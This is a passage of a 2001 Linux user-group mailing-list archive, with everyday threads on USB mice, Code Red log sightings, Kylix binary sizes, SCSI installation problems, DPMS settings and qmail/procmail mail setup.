real-time.com Wed Aug 1 09:51:45 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] logitech usb optical wheelmouse? In-Reply-To: <996676550.4653.9.camel@lis.llewellyn.com> Message-ID: On 1 Aug 2001, Brady Hegberg wrote: > I bought one of these yesterday and I can't get the mousewheel to work > on my Redhat 7.1 box. It has a usb-to-9-pin adaptor which is probably > what's causing the problem. I searched the web and found other people > with questions but no answers. Has anyone here run into this? Got a USB port? USB's the way to go. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From esper at sherohman.org Wed Aug 1 10:03:01 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] Code Red (sort of) In-Reply-To: <3b681108.d7.0@isd.net>; from kblack@isd.net on Wed, Aug 01, 2001 at 02:24:08PM +0000 References: <3b681108.d7.0@isd.net> Message-ID: <20010801100301.B9200@sherohman.org> On Wed, Aug 01, 2001 at 02:24:08PM +0000, kblack@isd.net wrote: > Only 1 request on port 80 in the logs this morning, > but it is kinda funny who it comes from: > MICROSOFT CORPORATION (NETBLK-MICROSOFT948-167) > MICROSOFT948-167 You realize what this means: Keeping microsoft.com running requires so many servers that even the mighty MS can't verify that they're all patched within a week and a half. How many servers does andover.net have? -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From blayer at qwest.net Wed Aug 1 10:00:42 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] Sylpheed Email 0.5.2 released In-Reply-To: <20010801090747.B13565@minime.sistina.com> References: <20010801032604.00c27dc3.blayer@qwest.net> <20010801090747.B13565@minime.sistina.com> Message-ID: <20010801100042.14f95c99.blayer@qwest.net> On Wed, 1 Aug 2001 09:07:47 -0500 "Ben Lutgens" wrote: > The mutt-1.2.5 tarball is 1.9 MB, and the compiled binary is 484k. Ben - unless I'm wrong, mutt is *not* a standalone pop client... doesn't it rely on sendmail / fetchmail? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From doug at northlandstudios.com Wed Aug 1 10:43:12 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] Playing with Kylix References: <20010801.11475700@linwin.mshome.net> Message-ID: <001101c11aa0$ac880750$940f3c9e@DHENRYW2P> If that was from my site, I apologize. Although my *.tar.gz file was never messed with, and installed flawlessly for me. Using it however seems a bit strange. I do like the interface, however compiling a small program turned into a huge file. I created a little clock using a label, timer control, and a button to exit. The file compiled into 408k!!! And if that's not bad enough it also requires making sure a lib*.so (forget the exact name right now) is in the path to use it. That file is part of kylix and it 1.5mb. So to package a little clock turns into 2mb! That overall seems ridiculous to me, but then I'm pretty new to kylix and delphi in general and maybe just did it all wrong. But if that's how big kylix programs are when created I don't think I'll be using it much for anything bigger than a splash screen. What luck has anyone else had? Doug ----- Original Message ----- From: "Rick Engebretson" To: Sent: Wednesday, August 01, 2001 6:47 AM Subject: [TCLUG] Kylix (Thanks--No Thanks--Almost Thanks) > Earlier, Kylix was promoted and trying Kylix open edition was encouraged. > It sounded perfect for some of my interests. > > I tried a TCLUG member's private download offering. The format apparently > was not *.tar.gz as the extension indicated. But the package opened as a > folder. The Kylix setup process worked nicely, though. But (as another > noted) you still needed to obtain registration keys from Borland. > Frustrated, I tried to uninstall Kylix but could only delete what I could > find on my system. > > So I went to Borland's site, went through their disfunctional > registration process four or more times over two days and finally got the > keys. Once successful, I then decided to download Borland's copy of > Kylix_oe. When I opened their *.tar.gz the setup script was missing. > > So I went back to the earlier copy, reinstalled it, filled in the key > fields, and registered a second time (as required). > > Now the Kylix_oe looks just like what I hoped for. Just like VB3 with > Pascal. A very nice IDE. > > Still, I don't like people messing with my time, trust, or computer > system. > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From blutgens at sistina.com Wed Aug 1 10:41:39 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] Sylpheed Email 0.5.2 released In-Reply-To: <20010801100042.14f95c99.blayer@qwest.net>; from blayer@qwest.net on Wed, Aug 01, 2001 at 10:00:42AM -0500 References: <20010801032604.00c27dc3.blayer@qwest.net> <20010801090747.B13565@minime.sistina.com> <20010801100042.14f95c99.blayer@qwest.net> Message-ID: <20010801104139.A14184@minime.sistina.com> On Wed, Aug 01, 2001 at 10:00:42AM -0500, Bill Layer wrote: >On Wed, 1 Aug 2001 09:07:47 -0500 >"Ben Lutgens" wrote: > >> The mutt-1.2.5 tarball is 1.9 MB, and the compiled binary is 484k. > >Ben - unless I'm wrong, mutt is *not* a standalone pop client... doesn't >it rely on sendmail / fetchmail? Nope, it'll do pop natively. I personally use fetchmail with procmail for incomming mail, and ssmtp for outgoing as I don't see the need to run a full MTA on my laptop. Not sure how well the pop support works in mutt, and using the imap support is a little clunky. But that's no matter to me the way I use it. > > -.bill.layer.- > >-.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. Kernel panic: I have no root and I want to scream -------------- next part -------------- A non-text attachment was scrubbed... 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And if that's not bad enough it also requires making sure a lib*.so > (forget the exact name right now) is in the path to use it. That file is > part of kylix and it 1.5mb. So to package a little clock turns into 2mb! Where have I heard this before... Oh, yeah! Delphi! Very common complaint about it, actually. It used to be worse - before Borland added what they call 'packages', you didn't have the 1.5M .so, but the clock app would be 2M itself. (Well, back when I used to have this conversation all the time, ISTR that it was 200k instead of 2M, but the principle is the same.) Anyhow, that 2M is almost all infrastructure. It contains a lot of management and exception-handling framework, the entire component libraray, etc. For a small program, I agree that it makes for an insane amount of overhead. However, as you add to the program, it will grow very, very slowly. I figure that 408k executable is probably about 375k boilerplate and 33k of your code - and I'm being generous in the allocation of your code. It's probably even more boilerplate than that. Assuming these numbers, though, you can add some complexity to your form (increasing it to 50k or so), add 9 more forms, and have a fairly complex 10-form application that takes 375k (boilerplate) + 500k (forms + code) + 1.5M (CLX library) = 2.4M. Much more reasonable. (Also, before comparing it to C programs, don't forget that they need libraries too... 1.1M for libc, 1.2M for libgtk, etc. That's just invisible because they're all going to be preinstalled.) -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From zibby+tclug at ringworld.org Wed Aug 1 11:56:04 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] logitech usb optical wheelmouse? In-Reply-To: Message-ID: On Wed, 1 Aug 2001, Nate Carlson wrote: > Got a USB port? USB's the way to go. :) No kidding. It's easy to get working too, just read linux/Documentation/usb/input.txt and have a recent kernel (when did USB hit 2.2? 2.2.17, 18, 19?) Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From tanner at real-time.com Wed Aug 1 11:59:44 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] MAPS In-Reply-To: <5.0.0.25.2.20010801072952.027d8c90@pop.charter.net>; from mpaulsen@charter.net on Wed, Aug 01, 2001 at 07:31:05AM -0500 References: <20010731094950.Q23431@ringworld.org> <20010731074206.A21506@monsoon.msi.umn.edu> <20010731094950.Q23431@ringworld.org> <20010801001424.A21366@real-time.com> <5.0.0.25.2.20010801072952.027d8c90@pop.charter.net> Message-ID: <20010801115944.Q21366@real-time.com> Quoting Mike Paulsen (mpaulsen@charter.net): > >That is not for RBL+, which is what you want. > > Not For Profit and Educational Facilities > RBL+ Transfer $125/nameserver $5/1,000 users I need to see a shrink, I was looking at the standard pricing. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From natecars at real-time.com Wed Aug 1 12:01:29 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] logitech usb optical wheelmouse? In-Reply-To: Message-ID: On Wed, 1 Aug 2001, Andy Zbikowski (Zibby) wrote: > No kidding. It's easy to get working too, just read > linux/Documentation/usb/input.txt and have a recent kernel (when did USB > hit 2.2? 2.2.17, 18, 19?) 2.2.18 is the first place where it's been up to date; 2.2.19 is even better. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From tanner at real-time.com Wed Aug 1 12:11:51 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:11 2005 Subject: [TCLUG] Code Red growth stats Message-ID: <20010801121151.A14447@real-time.com> From tanner at real-time.com Wed Aug 1 12:13:04 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] MAPS redux In-Reply-To: <20010801115944.Q21366@real-time.com>; from tanner@real-time.com on Wed, Aug 01, 2001 at 11:59:44AM -0500 References: <20010731094950.Q23431@ringworld.org> <20010731074206.A21506@monsoon.msi.umn.edu> <20010731094950.Q23431@ringworld.org> <20010801001424.A21366@real-time.com> <5.0.0.25.2.20010801072952.027d8c90@pop.charter.net> <20010801115944.Q21366@real-time.com> Message-ID: <20010801121304.B14447@real-time.com> Quoting Bob Tanner (tanner@real-time.com): > Quoting Mike Paulsen (mpaulsen@charter.net): > > >That is not for RBL+, which is what you want. > > > > Not For Profit and Educational Facilities > > RBL+ Transfer $125/nameserver $5/1,000 users > > I need to see a shrink, I was looking at the standard pricing. Anyone using MAPS, not pay for it yet and still seeing successful queries to MAPS in your logs? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From natecars at real-time.com Wed Aug 1 12:28:17 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <20010801121151.A14447@real-time.com> Message-ID: I'm monitoring 3 systems (1 Real Time DSL, my Telocity DSL at home, and my web server on Real Time's colocation network), and am seeing the most hits to my DSL at home.. strange.. heh. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From lbehrens at boolion.com Wed Aug 1 12:30:25 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Playing with Kylix Message-ID: > however compiling a small program turned into a huge file. --- > Anyhow, that 2M is almost all infrastructure. It contains a lot of > management and exception-handling framework, the entire component > libraray, etc. For a small program, I agree that it makes for an > insane amount of overhead. > > However, as you add to the program, it will grow very, very slowly. Yep, your tiny program is larger than expected because of what got sucked in from CLX. I haven't looked to see whether the feature was carried over from Delphi, but if you can build your project with packages, the resulting file will be much smaller.... 20-30Kb? Of course, you'll have to distribute packages files along with your app, so you're back up to 400+Kb, not counting the .so file. If I remember right, the .so file is a custom copy of QT. Borland purposely chose this route because they didn't want apps breaking all over the place just because someone installed an incompatible version of QT on their system. For comparison, the same app would be about 250Kb if it used the Windows-only VCL without packages, and without the need to distribute any extra files. The extra code and distributables when building with CLX is from all the shoe-horning required to make things work the same on both platforms. Lee Behrens From lbehrens at boolion.com Wed Aug 1 12:47:32 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] RE: Kylix (Thanks--No Thanks--Almost Thanks) Message-ID: > Earlier, Kylix was promoted and trying Kylix open edition was encouraged. > It sounded perfect for some of my interests. > ... > Frustrated, I tried to uninstall Kylix but could only delete what I could > find on my system. > ... > So I went to Borland's site, went through their disfunctional > registration process four or more times over two days and finally got the > keys. Once successful, I then decided to download Borland's copy of > Kylix_oe. When I opened their *.tar.gz the setup script was missing. AFAIK, deleting the directory you installed Kylix to should remove it completely. (Does not include RPM database entries or bug fixes to libc, etc. that may have also been installed.) I'm not sure why you had so much difficulty, but it definitely isn't unheard of. Maybe one of their servers has a bad copy???? For more info, you might try... Next Tuesday (August 7) evening is everyone's chance to share your experiences in person with Anders Ohlsson. Anders is part of Borland's Kylix team, so _maybe_ he has some insight into problems like this. He will be here for the TC/PC Delphi/Kylix event at the Thunderbird Hotel in Bloomington. The event is free and open to the public. See www.tcpc.com for the latest info. Lee Behrens From doug at northlandstudios.com Wed Aug 1 13:11:27 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Playing with Kylix References: <20010801.11475700@linwin.mshome.net> <001101c11aa0$ac880750$940f3c9e@DHENRYW2P> <20010801110215.C9200@sherohman.org> Message-ID: <002f01c11ab5$624b0150$940f3c9e@DHENRYW2P> Ok that makes sense. But then does anyone know if there is a way to "package" it all into one big executable file? (I would imagine there is a way but can't find how) Doug ----- Original Message ----- From: "Dave Sherohman" To: Sent: Wednesday, August 01, 2001 11:02 AM Subject: Re: [TCLUG] Playing with Kylix > On Wed, Aug 01, 2001 at 10:43:12AM -0500, doug wrote: > > Using it however seems a bit strange. I do like the interface, however > > compiling a small program turned into a huge file. I created a little clock > > using a label, timer control, and a button to exit. The file compiled into > > 408k!!! And if that's not bad enough it also requires making sure a lib*.so > > (forget the exact name right now) is in the path to use it. That file is > > part of kylix and it 1.5mb. So to package a little clock turns into 2mb! > > Where have I heard this before... Oh, yeah! Delphi! Very common > complaint about it, actually. It used to be worse - before Borland > added what they call 'packages', you didn't have the 1.5M .so, but the > clock app would be 2M itself. (Well, back when I used to have this > conversation all the time, ISTR that it was 200k instead of 2M, but > the principle is the same.) > > Anyhow, that 2M is almost all infrastructure. It contains a lot of > management and exception-handling framework, the entire component > libraray, etc. For a small program, I agree that it makes for an > insane amount of overhead. > > However, as you add to the program, it will grow very, very slowly. > I figure that 408k executable is probably about 375k boilerplate and 33k > of your code - and I'm being generous in the allocation of your code. > It's probably even more boilerplate than that. Assuming these numbers, > though, you can add some complexity to your form (increasing it to 50k > or so), add 9 more forms, and have a fairly complex 10-form application > that takes 375k (boilerplate) + 500k (forms + code) + 1.5M (CLX library) > = 2.4M. Much more reasonable. (Also, before comparing it to C programs, > don't forget that they need libraries too... 1.1M for libc, 1.2M for > libgtk, etc. That's just invisible because they're all going to be > preinstalled.) > > -- > With the arrest of Dimitry Sklyarov it has become apparent that it is not > safe for non US software engineers to visit the United States. - Alan Cox > "To prevent unauthorized reading..." - Adobe eBook reader license > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From HOEFFNER at dcmir.med.umn.edu Wed Aug 1 13:46:53 2001 From: HOEFFNER at dcmir.med.umn.edu (HOEFFNER@dcmir.med.umn.edu) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] XML Message-ID: <010801134653.20366303@dcmir.med.umn.edu> >> >> >> >> >> >> > >Ugh. Never seen XSL before; didn't expect it to be that ugly. And >doesn't it have an 'else'? Haven't gone there yet cuz I haven't needed the structure yet. I just have the O'Reilly book and it doesn't mention it. >Potentially stupid question, but... > >You sound skeptical about XML/XSL and it doesn't seem like you care >much for the parts you do know. So why are you pursuing it? Basically cuz I don't know any better. I had a oppurtunity to learn something new and this looked like the way to go, at least to my inexperienced eye. I guess I've found in the past that just because you don't like something doesn't mean you should just throw in the towel. Kinda stubborn that way. Once it's all put together, it should turn out helpful. At that point I'll make the go/no go decision. Given what it's supposed to accomplish, it's hard to imagine something that didn't turn out something like this. Ugly, yeah, but I don't see an easy way to improve on it (I suppose if there was it'd be done already). Ed From drew at usfamily.net Wed Aug 1 08:20:24 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Please ignore its just a test References: <200106141351.f5EDphK16007@sprite.real-time.com> Message-ID: <3B680218.956C2953@usfamily.net> Filter test. ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... Name: drew.vcf Type: text/x-vcard Size: 265 bytes Desc: Card for Andrew Nemchenko Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010801/0246a5ac/drew.vcf From kremer at ringworld.org Wed Aug 1 15:08:50 2001 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Adaptec and redhat 7.1 In-Reply-To: <3B680218.956C2953@usfamily.net> Message-ID: I am working on a server with an Intel Server board in it, and trying to load Redhat 7.1 onto a drive that is connected to an Adaptec 29160 I have had 2 issues: Sometimes when redhat loads the scsi driver (aic7xxx) the computer freezes up and spits the cd-rom out (still spinning and everything...drive is then dead until reboot) Other times it will get past that point, but when it searches for an install destination it tells me that sda and sdb both have invalid partition tables or something of the sort. I have NT installed on the first hard drive, so i know the drives are good. Any ideas? Thanks, Justin From zibby+tclug at ringworld.org Wed Aug 1 15:47:20 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Adaptec and redhat 7.1 In-Reply-To: Message-ID: What kernel? :) Check the aic7xxx mailing list. Some versions of the aic7xxx are...ummm...buggy. :) And just cause I live with you: Put Debian on it :P Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From kremer at ringworld.org Wed Aug 1 16:10:39 2001 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Adaptec and redhat 7.1 In-Reply-To: Message-ID: Kernel is 2.4.? I WOULD put debian on it...but this is for work (not even my project, they just asked me if i had any ideas, and...well i ran out) I think they have a 2940 in there, so i'll see if that fixes anything. On Wed, 1 Aug 2001, Andy Zbikowski (Zibby) wrote: > What kernel? :) > > Check the aic7xxx mailing list. Some versions of the aic7xxx > are...ummm...buggy. :) > > And just cause I live with you: > Put Debian on it :P > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Wed Aug 1 16:19:36 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Code Red growth stats Message-ID: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net> Yeah, me too. Unfortunately, it keeps killing my 675. I have the web admin disabled, but on certain releases of software, it still kills it. Since I'm moving in a couple of weeks, I'm not too concerned about upgrading to the latest release. jay > -----Original Message----- > From: Nate Carlson [mailto:natecars@real-time.com] > Sent: Wednesday, August 01, 2001 12:28 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Code Red growth stats > > > I'm monitoring 3 systems (1 Real Time DSL, my Telocity DSL at > home, and my web server on Real Time's colocation network), > and am seeing the most hits to my DSL at home.. strange.. heh. :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From florin at iucha.net Wed Aug 1 16:40:26 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Code Red growth stats In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net>; from austad@marketwatch.com on Wed, Aug 01, 2001 at 04:19:36PM -0500 References: <54180709DD3FE145917BB165AFE7EFA00A83F5@mspexch2.office.mktw.net> Message-ID: <20010801164026.A7406@beaver.iucha.org> On Wed, Aug 01, 2001 at 04:19:36PM -0500, Austad, Jay wrote: > Yeah, me too. Unfortunately, it keeps killing my 675. I have the web admin > disabled, but on certain releases of software, it still kills it. Since I'm > moving in a couple of weeks, I'm not too concerned about upgrading to the > latest release. set nat entry add x.y.z.t 80 tcp where x.y.z.t is an address on the internal network (does not need to be a real machine). This will stop the silly router to look at the packets and just pass them on. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From jh at sgi.com Wed Aug 1 16:46:41 2001 From: jh at sgi.com (John Hesterberg) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] Adaptec and redhat 7.1 In-Reply-To: ; from kremer@ringworld.org on Wed, Aug 01, 2001 at 03:08:50PM -0500 References: <3B680218.956C2953@usfamily.net> Message-ID: <20010801164641.C15781@sgi.com> SGI 1200s use this driver, and RH71 won't install on them from the RH71 ISO. They hang loading the driver. You can use the SGI XFS/RH71 installer ISO, which has a workaround for this problem, and then go on to install RH71 using the RH CDs. You can choose whether to use XFS or not. The only difference if you choose not is I believe you still get an updated kernel with XFS in it (I'm not sure if it's configured in or not). Of course, I'd recommend just using XFS. :-) The XFS page is . The ISO is at . John On Wed, Aug 01, 2001 at 03:08:50PM -0500, Justin Kremer wrote: > I am working on a server with an Intel Server board in it, and trying to > load Redhat 7.1 onto a drive that is connected to an Adaptec 29160 > I have had 2 issues: > Sometimes when redhat loads the scsi driver (aic7xxx) the computer freezes > up and spits the cd-rom out (still spinning and everything...drive is then > dead until reboot) > Other times it will get past that point, but when it searches for an > install destination it tells me that sda and sdb both have invalid > partition tables or something of the sort. > I have NT installed on the first hard drive, so i know the drives are > good. Any ideas? > Thanks, > Justin > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jh at sgi.com Wed Aug 1 16:52:09 2001 From: jh at sgi.com (John Hesterberg) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] EnergySaver not working on RH71 Message-ID: <20010801165209.D15781@sgi.com> Since installing Red Hat 7.1, my screen no longer goes into Energy Saver mode. Anyone know why this happens, and what to do about it? This is happening to me both at home and at work, so it's not just a single configuration. I suspect it's because my installs are "install everything", and that something is getting in the way. I've tried going through the Gnome stuff and making sure it's turned on, but that hasn't helped. Any help or ideas would be appreciated. These days, my office at home is getting too hot with the screen on...I turn it off in the morning but the kids turn it back on. :-) John From doug at northlandstudios.com Wed Aug 1 17:01:49 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] EnergySaver not working on RH71 References: <20010801165209.D15781@sgi.com> Message-ID: <006101c11ad5$90bb1320$940f3c9e@DHENRYW2P> Check out "xset" at a bash prompt, should give you some insight if you haven't seen it already... Doug ----- Original Message ----- From: "John Hesterberg" To: Sent: Wednesday, August 01, 2001 4:52 PM Subject: [TCLUG] EnergySaver not working on RH71 > Since installing Red Hat 7.1, my screen no longer goes into Energy Saver > mode. Anyone know why this happens, and what to do about it? > This is happening to me both at home and at work, so it's not > just a single configuration. I suspect it's because my installs are > "install everything", and that something is getting in the way. > I've tried going through the Gnome stuff and making sure it's turned > on, but that hasn't helped. > > Any help or ideas would be appreciated. These days, my office at > home is getting too hot with the screen on...I turn it off in the > morning but the kids turn it back on. :-) > > John > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From florin at iucha.net Wed Aug 1 16:59:59 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:12 2005 Subject: [TCLUG] qwest/m$ dsl deal? Message-ID: <20010801165959.C7406@beaver.iucha.org> There is a piece of new data about M$N DSL customers: http://www.theinquirer.net/01080110.htm florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Wed Aug 1 17:09:26 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] EnergySaver not working on RH71 In-Reply-To: <20010801165209.D15781@sgi.com>; from jh@sgi.com on Wed, Aug 01, 2001 at 04:52:09PM -0500 References: <20010801165209.D15781@sgi.com> Message-ID: <20010801170926.D7406@beaver.iucha.org> On Wed, Aug 01, 2001 at 04:52:09PM -0500, John Hesterberg wrote: > Since installing Red Hat 7.1, my screen no longer goes into Energy Saver > mode. Anyone know why this happens, and what to do about it? > This is happening to me both at home and at work, so it's not > just a single configuration. I suspect it's because my installs are > "install everything", and that something is getting in the way. > I've tried going through the Gnome stuff and making sure it's turned > on, but that hasn't helped. > > Any help or ideas would be appreciated. These days, my office at > home is getting too hot with the screen on...I turn it off in the > morning but the kids turn it back on. :-) Add Option "dpms" in the Section "Monitor" in /etc/X11/XF86Config florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From amy at real-time.com Wed Aug 1 18:06:08 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] mail server statistics Message-ID: <20010801180608.P12372@real-time.com> Anyone know of any URL with statistics on email server software usage? Like what % of mail servers are sendmail versus exchange? Any URLs appreciated. Thanks. -- Amy Tanner amy@real-time.com From kremer at ringworld.org Wed Aug 1 18:39:38 2001 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Adaptec and redhat 7.1 In-Reply-To: <20010801164641.C15781@sgi.com> Message-ID: Will the SGI ISO work on an Intel machine? On Wed, 1 Aug 2001, John Hesterberg wrote: > You can use the SGI XFS/RH71 installer ISO, which has a workaround > for this problem, and then go on to install RH71 using the RH CDs. > You can choose whether to use XFS or not. The only difference > if you choose not is I believe you still get an updated kernel with > XFS in it (I'm not sure if it's configured in or not). From john at mn.mediaone.net Wed Aug 1 19:12:05 2001 From: john at mn.mediaone.net (johndmiller) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Qmail - Fetchmail - Procmail Message-ID: I have mediaone.one for an ISP and am using Fetchmail -> Procmail -> pine for my mail service. Is it possible to do Fetchmail -> Qmail then have pine retrive it off Qmail. I am thinking that I might be able to because Fetchmail takes the mail off the isp mail server and passes it to SMTP on the localmachine. The reason is I want to do this is partly to try to set up qmail, I am also in the process of setting up a box that will be a firewall, mailserver, Webserver. Please let me know if what I want to do is possible. Thanks John Miller From nate at techie.com Wed Aug 1 19:36:30 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Adaptec and redhat 7.1 In-Reply-To: ; from kremer@ringworld.org on Wed, Aug 01, 2001 at 06:39:38PM -0500 References: <20010801164641.C15781@sgi.com> Message-ID: <20010801193630.A6106@candle.mn.mediaone.net> On Wed, Aug 01, 2001 at 06:39:38PM -0500, Justin Kremer wrote: > On Wed, 1 Aug 2001, John Hesterberg wrote: > > You can use the SGI XFS/RH71 installer ISO, which has a workaround > > for this problem, and then go on to install RH71 using the RH CDs. > > You can choose whether to use XFS or not. The only difference > > if you choose not is I believe you still get an updated kernel with > > XFS in it (I'm not sure if it's configured in or not). > > Will the SGI ISO work on an Intel machine? Yes, the SGI ISO is only for i386 at this point. Nate From thomas at stderr.net Wed Aug 1 19:44:12 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Qmail - Fetchmail - Procmail In-Reply-To: ; from john@mn.mediaone.net on Wed, Aug 01, 2001 at 07:12:05PM -0500 References: Message-ID: <20010802024412.A84517@io.stderr.net> On Wed, Aug 01, 2001 at 07:12:05PM -0500, johndmiller wrote: > I have mediaone.one for an ISP and am using Fetchmail -> Procmail -> pine > for my mail service. Is it possible to do Fetchmail -> Qmail then > have pine retrive it off Qmail. I am thinking that I might be able to > because Fetchmail takes the mail off the isp mail server and passes it to > SMTP on the localmachine. > > The reason is I want to do this is partly to try to set up qmail, I am > also in the process of setting up a box that will be a firewall, > mailserver, Webserver. > > Please let me know if what I want to do is possible. Qmail should be able to deliver to Mailbox format style folders, you need to start qmail like this: qmail-start ./Mailbox splogger qmail Pine with a patch (or does it finaly do this out of the box?) should be able to read Maildirs though (Which is the default format qmail stores mail as). You can still use procmail to process your mail by putting this in your .qmail: |/var/qmail/bin/preline /usr/local/bin/procmail .. -- Thomas Eibner DnsZone mod_pointer From mohmann at qwest.net Wed Aug 1 19:45:30 2001 From: mohmann at qwest.net (Marc Ohmann) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] mail server statistics References: <20010801180608.P12372@real-time.com> Message-ID: <3B68A2AA.5080609@qwest.net> I would think this stat would be difficult to come by since a lot of smtp servers don't return a name or version in the smtp header for security reasons. Marc Amy Tanner wrote: >Anyone know of any URL with statistics on email server software usage? Like >what % of mail servers are sendmail versus exchange? Any URLs appreciated. >Thanks. > From nate at techie.com Wed Aug 1 19:54:05 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:13 2005 Subject: [TCLUG] Qmail - Fetchmail - Procmail In-Reply-To: ; from john@mn.mediaone.net on Wed, Aug 01, 2001 at 07:12:05PM -0500 References: Message-ID: <20010801195405.B6106@candle.mn.mediaone.net> On Wed, Aug 01, 2001 at 07:12:05PM -0500, johndmiller wrote: > I have mediaone.one for an ISP and am using Fetchmail -> Procmail -> pine > for my mail service. Is it possible to do Fetchmail -> Qmail then > have pine retrive it off Qmail. I am thinking that I might be able to > because Fetchmail takes the mail off the isp mail server and passes it to > SMTP on the localmachine. That's about how I'm set up at the moment. I have a cron job that fetches my 